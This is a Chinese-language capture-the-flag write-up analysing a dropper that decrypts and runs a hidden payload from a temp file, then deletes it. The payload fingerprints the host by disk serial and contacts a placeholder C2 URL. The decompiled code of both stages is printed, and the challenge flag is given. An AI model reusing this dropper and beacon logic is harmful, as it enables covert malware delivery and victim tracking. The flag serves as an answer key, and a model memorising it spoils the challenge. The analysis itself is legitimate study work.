

程序主要功能
程序流程
从自身资源中找到"e_ou",从中提取一段加密后的数据,然后对数据进行解密(简单异或),将解密后的数据放入一个临时文件(exe)中,然后运行这个临时可执行文件,最后删除临时文件清除痕迹
程序架构
Dropper(投递器)+Payload(有效载荷)
前者是一个轻量级投递器,负责从自身资源中解密并释放真正的恶意程序(Payload)到磁盘并执行
这种程序在现代杀毒软件的行为分析面前几乎无效,不过还是能过一些传统的特征码杀毒
代码分步详解
ModuleHandleW = GetModuleHandleW(0);
hResInfo = FindResourceW(ModuleHandleW, (LPCWSTR)0x65, L"e_ou");
获取当前程序(0)的模块句柄(基址)
在当前程序中查找资源名为"e_ou",资源 ID 为 0x65
v4 = GetModuleHandleW(0);
hResData = LoadResource(v4, hResInfo);
v7 = LockResource(hResData);
将资源加载到当前程序内存,并且返回指针
v5 = GetModuleHandleW(0);
dwSize = SizeofResource(v5, hResInfo);
lpAddress = VirtualAlloc(0, dwSize, 0x1000u, 4u);
if ( !lpAddress )
return 1;
获取资源字节大小,分配指定大小的的内存地址,如果分配不成功,则退出程序返回错误代码 1
for ( i = 0; i < dwSize; ++i )
{
if ( v7[i] && v7[i] != 120 )
lpAddress[i] = v7[i] ^ 0x78;
else
lpAddress[i] = v7[i];
}
循环遍历每个字节,如果不为 120(0x78) 则异或 0x78
if ( !GetTempPathA(0x104u, Buffer) )
return 1;
获取临时目录,将系统临时目录路径返回到 Buffer
例如C:\Users\Alice\AppData\Local\Temp\
获取失败结束程序返回 1
if ( !GetTempFileNameA(Buffer, "ou.exe", 0, TempFileName) )
return 1;
获取临时文件目录,在 Buffer 目录中创建,文件前缀为"ou.exe",并且由系统随机生成一个唯一编号,最后将完整路径返回到 TempFileName 中
获取失败结束程序返回 1
Stream = fopen(TempFileName, "wb");
if ( !Stream )
return 1;
以二进制格式打开写入文件("wb")为 Stream
打开失败结束程序返回 1
if ( fwrite(lpAddress, 1u, dwSize, Stream) == dwSize )
将 IpAddress 地址中的所有元素写入 Stream 中,每个元素中包含一个字节,最后返回写入的元素个数,如果和总字节数相同代表写入成功
{
fclose(Stream);
VirtualFree(lpAddress, 0, 0x8000u);
关闭文件
释放 IpAddress 地址的内存
memset(&StartupInfo, 0, sizeof(StartupInfo));
memset(&ProcessInformation, 0, sizeof(ProcessInformation));
清空了两个结构体
在程序开头有结构体声明

_STARTUPINFOA结构体:用于新进程的窗口设置
_PROCESS_INFORMATION结构体:用于新进程的信息
StartupInfo.cb = 68;
GetStartupInfoA(&StartupInfo);
StartupInfo.wShowWindow = 0;
设置 StartupInfo 结构体大小为 68
获取当前进程的启动信息
设置新进程的窗口隐藏
CreateProcessA(TempFileName, 0, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation);
CreateProcessA 创建新进程,执行路径为 TempFileName
将 StartupInfo 进程窗口设置作为参数传入
将 ProcessInformation 进程信息作为参数传入
CloseHandle(ProcessInformation.hProcess);
CloseHandle(ProcessInformation.hThread);
关闭新进程和句柄
DeleteFileA(TempFileName);
return 0;
}
删除临时文件 TempFileName
正常结束程序
else
{
fclose(Stream);
return 1;
}
写入失败分支,关闭文件,结束程序返回报错 1
解题步骤
他的主要代码都解密在 payload 中,这个 Dropper 没什么有用信息,先动调找到他的 payload


在生成路径的代码中可以查看到 payload 的路径

这里发现文件名是 ou.XXXX.tmp,但是我们明明记得前面生成临时文件的时候,前缀是"ou.exe"
原因是 Windows API 的工作机制,通过查阅 Microsoft 文档
https://learn.microsoft.com/zh-cn/windows/win32/api/fileapi/nf-fileapi-gettempfilenamea

从文档中可以得知:
IpPerfixString,最多只取前 3 个字符,"ou.exe"取前 3 个字符"ou."
后面跟随的 5EC 是生成的唯一编号,tmp 则是固定后缀
但是这个是不影响程序运行的,因为他的内容是完整的 PE 文件(exe),
而 CreateProcessA 在运行的时候不依赖扩展名,而是通过检查文件头(MZ...PE)
然后注意到 ou.5EC.tmp 现在是 0 字节,这是因为还没有执行填数据的代码,动调接着运行

运行到关闭文件后,程序变成了 106KB


查看 payload

IDA 分析
v3[0] = 120;
v3[1] = 139;
v3[2] = 150;
v3[3] = 134;
v3[4] = 120;
v3[5] = 81;
v3[6] = 145;
v3[7] = 80;
v3[8] = 108;
v3[9] = 98;
v3[10] = 119;
v3[11] = 83;
v3[12] = 108;
v3[13] = 136;
v3[14] = 99;
v3[15] = 80;
v3[16] = 120;
v3[17] = 113;
v3[18] = 78;
v3[19] = 80;
v3[20] = 107;
v3[21] = 152;
v3[22] = 119;
v3[23] = 83;
v3[24] = 106;
v3[25] = 114;
v3[26] = 119;
v3[27] = 151;
v3[28] = 108;
v3[29] = 139;
v3[30] = 119;
v3[31] = 146;
v3[32] = 108;
v3[33] = 152;
v3[34] = 99;
v3[35] = 80;
v3[36] = 109;
v3[37] = 113;
v3[38] = 78;
v3[39] = 81;
v3[40] = 108;
v3[41] = 98;
v3[42] = 119;
v3[43] = 150;
v3[44] = 108;
v3[45] = 152;
v3[46] = 95;
v3[47] = 80;
v3[48] = 107;
v3[49] = 114;
v3[50] = 129;
v3[51] = 81;
v3[52] = 108;
v3[53] = 136;
v3[54] = 100;
v3[55] = 87;
v14 = 56;
Block = malloc(0x39u);
if ( !Block )
return 1;
memset(Block, 0, v14 + 1);
for ( i = 0; i < v14; ++i )
*((_BYTE *)Block + i) = LOBYTE(v3[i]) - 30;
v13 = (void *)sub_401110(Block);
free(Block);
v34[0] = -62;
v34[1] = 21;
v34[2] = 103;
v34[3] = 100;
v34[4] = 22;
v34[5] = 72;
v34[6] = 118;
v34[7] = 18;
v34[8] = -15;
v34[9] = 67;
v34[10] = -62;
v34[11] = 66;
v34[12] = -97;
v34[13] = -15;
v34[14] = -36;
v34[15] = 34;
v34[16] = 113;
v34[17] = 54;
v34[18] = 107;
v34[19] = 126;
v34[20] = -126;
v34[21] = 11;
v34[22] = -48;
v34[23] = 61;
v34[24] = -76;
v34[25] = 0;
v34[26] = 58;
v34[27] = -11;
v34[28] = 17;
v34[29] = -32;
v34[30] = -127;
v34[31] = -36;
v34[32] = -126;
v34[33] = 72;
memset(v28, 0, sizeof(v28));
v29 = 0;
v30 = 0;
v19 = (const char *)v13;
v8 = (int)v13 + 1;
v19 += strlen(v19);
v7 = ++v19 - ((_BYTE *)v13 + 1);
sub_401470(v34, 34, v13, v7, v28);
free(v13);
v6 = sub_4015C0();
*(_DWORD *)v31 = 0;
v32 = 0;
v33 = 0;
snprintf(v31, 9u, "%08X", v6);
memset(szUrl, 0, 0x2Bu);
v12 = (char *)v28;
v17 = szUrl;
do
{
v23 = *v12;
*v17 = v23;
++v12;
++v17;
}
while ( v23 );
v18 = v31;
v10 = v31;
v18 += strlen(v18);
++v18;
v5 = v31;
v4 = v18 - v31;
v16 = &v26;
while ( *++v16 )
;
qmemcpy(v16, v5, v4);
hInternet = InternetOpenA("MyApp", 1u, 0, 0, 0);
if ( hInternet )
{
hFile = InternetOpenUrlA(hInternet, szUrl, 0, 0, 0x80000000, 0);
if ( hFile )
{
while ( InternetReadFile(hFile, Buffer, 0x3FFu, &dwNumberOfBytesRead) && dwNumberOfBytesRead )
{
v9 = dwNumberOfBytesRead;
if ( dwNumberOfBytesRead >= 0x400 )
__report_rangecheckfailure();
Buffer[v9] = 0;
sub_401040("%s", Buffer);
}
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
return 0;
}
else
{
LastError = GetLastError();
sub_401040("InternetOpenUrl failed: %d\n", LastError);
InternetCloseHandle(hInternet);
return 1;
}
}
else
{
v1 = GetLastError();
sub_401040("InternetOpen failed: %d\n", v1);
return 1;
}
打开引入眼帘是两段数据 v3 和 v34,分别用于两段加密,通过查看加密函数
第一段
v3 的值-30

标准 base64 解密算法

![]()
第二段
RC4 算法,但是发现 key 是第一段中 base64 解密后的 v3



最简单的方式是动调


flag{6469616e-6369-626f-7169-746170617761}
到这里出来 flag CTF 的部分就结束了
下面是对程序的行为进行分析
额外内容
运行到 RC4 解密,查看解密结果 v28


http://how.did.i.get.decrypted?id=
然后 v6 = sub_8315C0();

调用 API :GetVolumeInformationA 获取硬盘信息(C 盘)
并返回 VolumeSerialNumber
VolumeSerialNumber(卷序列号):
Windows 在格式化磁盘分区时随机生成的一个 32 位十六进制数。
特点:
- 同一硬盘重新格式化后会改变;
- 不同机器几乎不可能相同;
- 不依赖硬件(如 MAC、CPU),仅与磁盘格式化历史有关;
- 普通用户无法直接修改(需低级工具)。
在这个程序中用于区分感染主机的唯一 ID
这里看到返回了我的 C 盘卷序列号到 v6

然后 v6 的值传到了 v31


这个程序的栈溢出用的非常多,比如 v28 有 32 个字节却填充了 34 个字节,v32 有 4 个字节却填充了 8 个字节

对照栈地址画出下面的

然后后面的逻辑将 url 和卷序列号拼接到了 szUrl 的地址

InternetOpenA 初始化连接
InternetOpenUrlA 打开远程 URL

InternetReadFile 下载数据
InternetCloseHandle 清理资源

两个 else 分支用于处理错误
在实际执行的时候也会跳转到错误分支
因为http://how.did.i.get.decrypted?id=FCF33B49不是一个真实网址

总结
该程序是通过轻量级投递器,在系统临时文件目录释放一个带有主机指纹识别功能的 HTTP 下载器,试图通过 C 盘卷序列号唯一标识受害者,并向 C2 服务器请求指令。
通过动调可得到释放的临时文件路径,再动态调试或 EXP 可得到 flag
1067

被折叠的 条评论
为什么被折叠?



